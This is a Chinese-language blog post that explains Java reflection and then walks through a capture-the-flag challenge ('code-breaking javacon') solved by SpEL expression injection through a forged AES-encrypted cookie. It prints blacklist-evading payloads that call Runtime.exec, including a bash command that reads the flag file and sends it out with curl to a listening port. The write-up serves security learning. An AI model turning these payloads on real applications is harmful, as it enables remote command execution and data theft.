初识JavaWeb安全(1)
前言
由于各种各样的原因,决定接触一下Java,博主的Java水平很菜也就是能读懂语法的程度,但目前Java在Web中处于霸者地位,这让不接触java变成一件难事,因此还是得学。
Java从我目前了解到的信息来看,Java安全大多是Java反序列化安全,而Java反序列化安全又得从反射说起
<!--more-->
有关反射
反射的概念为:指一类应用,它们能够自描述和自控制。也就是说,这类应用通过采用某种机制来实现对自己行为的描述(self-representation)和监测(examination),并能根据自身行为的状态和结果,调整或修改应用所描述行为的状态和相关的语义。概念给人高级且难懂的感觉
实际上反射并没有那么不好理解。
Golang的角度看反射
作为一个大概是Go吹的人,喜欢从比较熟悉的东西开始理解,在Golang中反射大概可以归纳成这样的代码:
package main
import (
"fmt"
"reflect"
)
func main(){
var num = 1
ShowType := reflect.TypeOf(num)
ShowValue := reflect.ValueOf(num)
fmt.Printf("Type:%s Value:%d\n",ShowType,ShowValue)
change := reflect.ValueOf(&num).Elem()
change.SetInt(22)
fmt.Println(num)
}返回结果:

然后我们再来叙述一下反射的整体,首先反射这种机制提供了程序的自我描述和修改。我们通过Typeof和Valueof得到了变量的属性和方法,并且实现了在程序运行过程中实现了对于变量的修改。
简单来讲,反射就是语言提供的一种能够在程序运行是获得变量的内容和修改变量的一系列方法。(这种机制一般用于框架编写时让用户自定义方法能够运行)
同理Java也是这样
Java的一些基础
基础反射的知识
有了Golang的铺垫之后我们来看看,Java是如何通过反射获得变量的内容吧。
import java.lang.reflect.Method;
import java.lang.Class.*;
import java.lang.reflect.Method;
import java.lang.Class.*;
public class main{
public static void main(String[] args) throws Exception {
Myclass zhang_san = new Myclass();
System.out.println(zhang_san.getClass());
//上下文有实例的时候
Class unkonw = Class.forName("Myclass");
//forName直接找
System.out.println(unkonw);
System.out.println(Myclass.class);
//该类已经被加载时
unkonw.getMethod("ShowName").invoke(unkonw.newInstance());
}
}
class Myclass{
static int age =1;
static String name = "zhang san";
public void ShowName(){
System.out.println(this.name);
}
}结果为:

这里几个比较重要的方法:
getClass如果上下文存有该类实例,可通过该方法找到其对应的类forName通过类名找到对应的类getMethod找到对应类中的方法invoke执行找到的方法,需要传入对象newInstance()创建该类的一个对象
深挖一下
码代码的时候,如果细心一点,可以发现其实forName方法有两种形式:

第一种就是我们所说的通过类名获得该类了,第二种我们发现多了两个参数,一个initialize,一个ClassLoader,我们就来深挖一下两者的区别。
initialize,是一个布尔型的值,他决定了类的初始化,第三个参数是类的加载方法,默认的是通过类名来加载类。那么问题来了,第二个参数的初始化是指的什么初始化?
import java.lang.reflect.Method;
import java.lang.Class.*;
import java.lang.reflect.Method;
import java.lang.Class.*;
public class main{
public static void main(String[] args) throws Exception {
Class.forName("FindAnswear");
}
}
class FindAnswear{
{
System.out.println("{} is Running");
}
static {
System.out.println("Static {} is Running");
}
public FindAnswear(){
System.out.println("Constructor is Runing");
}
}结果为:

因此这里的初始化是指执行 static{},其用途一般是用在加载一个类时的初始化操作,而非创建实例的初始化操作,那么这三种初始化方式的顺序又是怎么样的?我们可以实例化一个类看看。

这里也引申出一种攻击方式,假设static{}代码块中的内容是可控的,那么我们污染了static{}代码块,意味着该类的所有实例都会被污染。
通过反射执行命令
当然这里提供的三个方法其实都是为了找到java.lang.Class这个包,既然能够找到java.lang.Class这个包,自然也能够找到其他包了。在java中命令执行可以使用java.lang.Runtime,比如下面这种方式:
import java.lang.reflect.Method;
import java.lang.Class.*;
import java.lang.reflect.Method;
import java.lang.Class.*;
public class main{
public static void main(String[] args) throws Exception {
Runtime.getRuntime().exec("pycharm");
}
}
class Myclass{
static int age =1;
static String name = "zhang san";
public void ShowName(){
System.out.println(this.name);
}
} 
那么我们如何通过类的方式来执行命令呢?稍微改改代码:
可能会有点长,以类的方式去执行命令代码为,上面和下面的命令执行代码是等价的
public class main{
public static void main(String[] args) throws Exception {
//Runtime.getRuntime().exec("pycharm");
Myclass.class.forName("java.lang.Runtime").getMethod("exec", String.class).invoke(String.class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Myclass.class.forName("java.lang.Runtime")),"pycharm");
}
}结果为:

来分析一下这条代码:
为了看得更清楚一点,我们可以画个图:

而我们知道Java中绝大多数变量都是类,因此只要存在一个当前函数可控的变量,我们就可以利用反射来执行命令。
实例
code-breaking-javacon
至此code-breaking中的题目已经全部分析完成。
给个传送门code-breaking
这道题我们直接拖到idea里,然后在右击.jar包点击Add as Library就可以查看源码了,源码主要逻辑在

其中ChallengeApplication就是main函数,Encryptor主要是加解密cookie,KeyworkProperties是用于校验黑名单,MainController是路由函数,UserConfig是用户的基本操作。虽然没有写过Spring,但是文件名称还是很明显的,我们先来看下配置文件application.yml:

这里黑名单对我们执行命令的三个部分都进行了校验,同时有一个初始的用户admin
然后我们来看看login的路由函数:

凭经验不难看出,当login路由的访问方法为Post时,会去username和password并将其和配置文件中的初始用户相关内容进行校验,通过校验则发放Cookie,并设置好session,加解密函数如下:

然后跳转会初始路由/,所以接着我们来看看/的路由函数:

这里会解密Cookie内容,并将Cookie的用户名进行渲染。

设置用户名这个地方可能存在渲染的操作,凭flask的问题,感觉这里可能会比较敏感,所以我们来看看this.getAdvanceValue:

看到校验黑名单就知道这里有猫腻了。这里猜测既然渲染了模板,那就是应该是个类似于模板注入的问题了,而这里SmallEvaluationContext从逻辑来看应该就是进行渲染的那一步了,由面向搜索引擎的思想,问问百度,得到一个叫做SPEL表达式注入的东西,粗略看了一下原理,非常类似于flask的ssti,这个时候我们来整理一下数据流:

虽然username的值已经写死了,但是登陆之后username的值却是根据remeberMe写的,白盒中我们知晓加密算法,也就意味着remeberMe的值是可控的。这里与ssti类似的,我们的模板语法换成#{},只不过这里需要找到一个类来进行反射操作,从而执行命令,因此我们可以构造payload:
#{ "".getClass().forName("java.l"+"ang.R"+"untime").getMethod("ex"+"ec", "".getClass()).invoke("".getClass().forName("java.l"+"ang.R"+"untime").getMethod("getRun"+"time").invoke("".getClass().forName("java.l"+"ang.Ru"+"ntime")),"curl 127.0.0.1:8099 `cat flag_j4v4_chun | base64`")}
//这里尝试使用了1,整数类似乎不行,''似乎也不行,最后换成了双引号停止了报错。将加密代码抽离出来,进行加密:
class test {
public static String encrypt(String key, String initVector, String value) {
try {
IvParameterSpec iv = new IvParameterSpec(initVector.getBytes("UTF-8"));
SecretKeySpec skeySpec = new SecretKeySpec(key.getBytes("UTF-8"), "AES");
Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5PADDING");
cipher.init(1, skeySpec, iv);
byte[] encrypted = cipher.doFinal(value.getBytes());
return Base64.getUrlEncoder().encodeToString(encrypted);
} catch (Exception var7) {
return null;
}
}
}
public class main {
public static void main(String[] args) throws Exception {
String const_key = "c0dehack1nghere1";
String result = test.encrypt(const_key,"0123456789abcdef","#{\"\".getClass().forName(\"java.l\"+\"ang.R\"+\"untime\").getMethod(\"ex\"+\"ec\", \"\".getClass()).invoke(\"\".getClass().forName(\"java.l\"+\"ang.R\"+\"untime\").getMethod(\"getRun\"+\"time\").invoke(\"\".getClass().forName(\"java.l\"+\"ang.Ru\"+\"ntime\")),\"curl 127.0.0.1:8099/\")}");
System.out.println(result);
}
}得到:
IyJv8YetWTM95GcDpXyx-xNC8Pc2fep_fhGlt5xJRLJrh1ditCFadqqPs11m6qY1tRJ7t1FoU2nt4vAcSg9eZEG1LrWiVOwSKDX5AWG_OPRUpBqbS_ueIWD4w-vlHSWi5_qNFfP2ao8sHujIeF7jKrn9twdD2qF7rxrjeXvGCp-4oUPVVVuaBoeXnaB6UgbifWi2tSyW8fnP4Ha_2qayIqhsj0El7LxswdAipAbLIdmA1Lvsz50PlPmryRB5KMFBj38QyY51r2phU-BmIdSDw94QftINMByi1WrV9O8uqF_Es2paLTEA--jCsJSW50kYu4UMiwBUbFDtOGnfRAPiVZdTQIky72JwHQZijNWJ2rR89JbzxNJv155SbXkTaOWT然后我们利用JS修改Cookie由于是在本地运行,因此我们监听本地的8099端口,执行是执行了但是没有返回flag,似乎在cat 处被截断了:


原因是因为java.lang.Runtime中的exec不能执行太复杂的命令(使用字符串作为参数时),似乎是有字符的长度限制,因此我们需要改改payload
大佬的payload:
#{T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"/bin/bash","-c","curl 127.0.0.1:8099/`cat flag_j4v4_chun | base64`"})}首先我们先来看看这个T()到底是什么玩意儿,经过百度发现,T关键字可以直接获得该类,比如这里的T(String)实际上获得的是String这个类。
贴个别人的例子:

然后exec这个方法有很多种使用方法,其中一种就是他可以接受字符串数组,这里我们利用字符串数组传指,建立一个shell。

最后我们把payload拿给上面的那个加密函数加密,通过JS修改Cookie

成功返回:

解base64后flag为,这里用base64是因为直接传的话{}会被吞掉:
flag{ea915bcdda16c93cd180147bb5fbbe67}参考文章: